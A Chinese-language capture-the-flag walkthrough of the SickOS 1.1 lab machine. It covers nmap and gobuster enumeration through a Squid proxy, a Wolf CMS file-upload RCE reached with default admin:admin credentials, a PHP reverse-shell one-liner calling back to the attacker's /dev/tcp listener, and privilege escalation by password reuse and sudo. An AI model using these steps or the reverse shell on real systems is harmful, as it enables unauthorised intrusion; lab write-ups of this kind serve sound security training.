一、nmap扫描
1主机发现
sudo nmap -sn 192.168.111.0/24MAC Address: 00:50:56:FA:CB:D3 (VMware)
Nmap scan report for 192.168.111.11
Host is up (0.00018s latency).看到靶机地址是192.168.111.11
2端口扫描

Nmap done: 1 IP address (1 host up) scanned in 17.98 seconds看到3128和好像是个squid代理服务器8080好像是关闭的代理服务

二、web渗透
打开网页看看 介绍一下 Squid cache简称为Squid是一个流行的自由软件GNU通用公共许可证的代理服务器和Web缓存服务器。Squid有广泛的用途从作为网页服务 器的前置cache服务器缓存相关请求来提高Web服务器的速度到为一组人共享网络资源而缓存万维网域名系统和其他网络搜索到通过过滤流量帮助网络 安全到局域网通过DL上网。Squid主要设计用于在Unix一类系统运行。 看来他应该就是一个代理服务器但这里访问页面报错了
看看8080端口 看来8080不允许我们连接可能是他做了ip的一些限制。
我们是不是可以通过3128的代理来访问8080端口呢尝试一下 看到不行
但是我们可以访问80端口了 BLEHHH是网络口语表示很烦很郁闷厌恶的意思 我们做目录爆破吧
sudo gobuster dir -u http://192.168.111.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --proxy http://192.168.111.11:3128Gobuster v3.6

Progress: 220560 / 220561 (100.00%)Finished打开看看 有一个wolfcms路径
而connect是一个文件
cat connect.py
#!/usr/bin/pythonprint I Try to connect things very frequently\n
print You may want to try my services通过这些发现我们现在就可以访问一下wolfcms 查找历史漏洞
searchsploit wolf看到一个RCE漏洞 searchsploit wolf -m 51421# Exploit Title: Wolf CMS 0.8.3.1 - Remote Code Execution (RCE)
# Date: 2023-05-02
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://wolf-cms.readthedocs.io
# Software Link: https://github.com/wolfcms/wolfcms
# Version: 0.8.3.1
# Tested on: Kali Linux### Steps to Reproduce #### Firstly, go to the Files tab.
# Click on the Create new file button and create a php file (e.g:
shell.php)
# Then, click on the file you created to edit it.
# Now, enter your shell code and save the file.
# Finally, go to https://localhost/wolfcms/public/shell.php### Theres your shell! ###他说有个files选项可以使我们上传php脚本应该是管理员的功能
我们现在需要知道后台管理页面的路径可以google搜索
看到
2. Proof of ConceptA)Login as regular user ( who have access upload functionality )B)Go to this page -
http://targetsite.com/wolfcms/?/admin/plugin/file_manager/browse/C)Select upload an file option to upload Arbitary File ( filename ex:
hello.php )D)Now you can access the file by here -
http://targetsite.com/wolfcms/public/hello.php应该就是admin了 尝试弱口令admin:admin成功登陆 三、获得立足点
根据上述RCE的文本操作上传php反弹shell文件进而获得立足点 准备反弹shell文件
echo -e ?php system(\bash -c bash -i /dev/tcp/192.168.111.10/4444 01\); ? rev.php上传成功 我们在kali里开启监听去puplic目录下访问上传的rev.php文件
http://192.168.111.11/wolfcms/public/成功获得立足点
四、提权
在文件中查找
cat /var/www/wolfcms/wolf/plugins/backup_restore/views/settings.php
catcd /home
www-dataSickOs:/home$ ls
ls
sickos都看到了pass的字样尝试口令复用看一下这个密码是不是ssh的
root:pswpsw123
sickos:pswpsw123
root:john123
sickos:john123
我们们成功获得了sickos的用户权限 看到sickos用户拥有所有的sudo权限
启动一个新会话到root
sudo /bin/bash -prootSickOs:/root# ls
a0216ea4d51874464078c618298b1367.txt
rootSickOs:/root# cat a0216ea4d51874464078c618298b1367.txt
If you are viewing this!!ROOT!You have Succesfully completed SickOS1.1.
Thanks for Trying
成功提权
总结
通过nmap扫描发现了squid代理服务设置代理做目录爆破发现了wolfcms利用google搜索找到了它的后台管理页面通过弱口令admin:admin成功登陆进入后台管理页面
利用后台的上传文件功能上传php脚本成功获得了立足点在该网站翻找配置信息找了几组凭证尝试口令服用获得了sickos用户的权限进而提权到了root
